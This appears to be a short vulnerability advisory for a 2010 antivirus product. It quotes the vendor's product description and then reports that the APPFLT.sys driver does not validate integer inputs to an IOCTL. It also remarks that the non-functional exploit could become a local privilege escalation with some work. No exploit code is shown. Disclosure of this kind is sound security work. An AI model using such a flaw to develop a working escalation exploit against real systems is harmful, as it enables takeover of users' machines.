//----- Application description  
  
  
Antivirus Global Protection 2010 is the most complete product, with everything  
you need to protect your computer and information. It protects you from viruses,  
spyware, rootkits, hackers, online fraud, identity theft and all other Internet  
threats. The anti-spam engine will keep your inbox free from junk mail while the  
Parental Control feature will keep your family safe when using the Internet. You  
can also back up important files (documents, music, photos, etc.) to a CD/DVD or  
online (5GB free space available) and restore them in case of accidental loss or  
damage. And thanks to the most innovative and new detection technologies and improved  
Collective Intelligence, the solution is now much faster than previous versions.  
  
//----- Description of vulnerability  
  
APPFLT.sys driver don't check inputs integers of an IOCTL. An exception can be  
thrown if we modify one DWORD.  
Exploit isn't functional but with few work it can be a local privilege escalation.
